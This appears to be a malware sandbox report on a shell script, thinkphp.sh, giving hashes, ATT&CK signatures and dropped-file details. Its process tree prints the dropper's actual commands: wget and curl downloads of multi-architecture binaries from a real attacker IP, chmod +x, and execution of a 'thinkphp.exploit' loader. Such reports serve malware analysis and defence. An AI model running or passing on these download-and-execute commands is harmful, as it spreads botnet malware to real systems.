115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104

Analysis

max time kernel
8s
max time network
19s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11-12-2024 21:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

thinkphp.sh
Size

2KB
MD5

a0e87c525c403e7c7d8eeff06a6a8b5e
SHA1

5331699066a78b7e546b6e77a095df7ff24c9f54
SHA256

115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104
SHA512

6b270443c2f5ce99a9e4a5cad6480d0e7b6bb22b1704e7b1c1e2a99815e548ea463f025679903d7ef83d360003a5ba238d2168a0445943219963a9f9765b054e

Score

7^/10

antivm defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
688	chmod
694	chmod
710	chmod
726	chmod
755	chmod
763	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/Andrew	689	Andrew
/tmp/Andrew	695	Andrew
/tmp/Andrew	711	Andrew
/tmp/Andrew	727	Andrew
/tmp/Andrew	756	Andrew
/tmp/Andrew	764	Andrew

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-3.dat	upx
behavioral2/files/fstream-6.dat	upx
behavioral2/files/fstream-9.dat	upx
behavioral2/files/fstream-12.dat	upx
behavioral2/files/fstream-15.dat	upx

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
730	wget
736	curl
753	cat

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/i486	curl
File opened for modification	/tmp/Andrew	thinkphp.sh
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/i686	curl
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/mpsl	wget

/tmp/thinkphp.sh
/tmp/thinkphp.sh
1⤵
- Writes file to tmp directory
PID:658
- /usr/bin/wget
  wget http://37.114.41.90/bins/i486
  2⤵
  PID:661
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i486
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/cat
  cat i486
  2⤵
  PID:687
- /bin/chmod
  chmod +x Andrew i486 systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-B8aFBF thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:689
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:690
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/cat
  cat x86
  2⤵
  PID:693
- /bin/chmod
  chmod +x Andrew i486 systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-B8aFBF thinkphp.sh x86
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:695
- /usr/bin/wget
  wget http://37.114.41.90/bins/i686
  2⤵
  - Writes file to tmp directory
  PID:697
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:702
- /bin/cat
  cat i686
  2⤵
  PID:708
- /bin/chmod
  chmod +x Andrew i486 i686 systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-B8aFBF thinkphp.sh x86
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:711
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86_64
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /bin/cat
  cat x86_64
  2⤵
  PID:725
- /bin/chmod
  chmod +x Andrew i486 i686 systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-B8aFBF thinkphp.sh x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:727
- /usr/bin/wget
  wget http://37.114.41.90/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:730
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/cat
  cat mips
  2⤵
  - System Network Configuration Discovery
  PID:753
- /bin/chmod
  chmod +x Andrew i486 i686 mips systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-B8aFBF thinkphp.sh x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:756
- /usr/bin/wget
  wget http://37.114.41.90/bins/mpsl
  2⤵
  - Writes file to tmp directory
  PID:758
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/cat
  cat mpsl
  2⤵
  PID:762
- /bin/chmod
  chmod +x Andrew i486 i686 mips mpsl systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-B8aFBF thinkphp.sh x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:764
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm4
  2⤵
  PID:766

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/i486

Filesize
274B

MD5
090e35476de39030dfeafbcf3d3e3f43

SHA1
a4bd408cec5d1185b478e528cf60a9f5186e0b87

SHA256
0085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b

SHA512
55c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181

Download Submit
/tmp/i686

Filesize
28KB

MD5
15fb222600a3061f5c8e5ef04e5298a6

SHA1
93b4a17632479c8a45e2554a18ea61ea7365c532

SHA256
fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965

SHA512
11e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34

Download Submit
/tmp/mips

Filesize
34KB

MD5
6088a204e0792a10d3724e836fe699b7

SHA1
fc1cf1010c99f155c46f94ec0529c8cea32c6055

SHA256
345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e

SHA512
bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e

Download Submit
/tmp/mpsl

Filesize
34KB

MD5
b8f2bf3e7c002718f12751cb02130d2e

SHA1
06919c90eae2564ee9ded3f343e2ec18839e411d

SHA256
390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d

SHA512
adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185

Download Submit
/tmp/x86

Filesize
28KB

MD5
54d07ade0004f03aaca028523d8f3eb6

SHA1
73606fc68439ea7ceb148f94d61dbe0235da8355

SHA256
d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b

SHA512
43ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b

Download Submit
/tmp/x86_64

Filesize
28KB

MD5
9cc970e0631afa61a049848f4f368b12

SHA1
54d7d99f436e9c97da5bfdd43698bb1dbd679b29

SHA256
681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16

SHA512
9f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads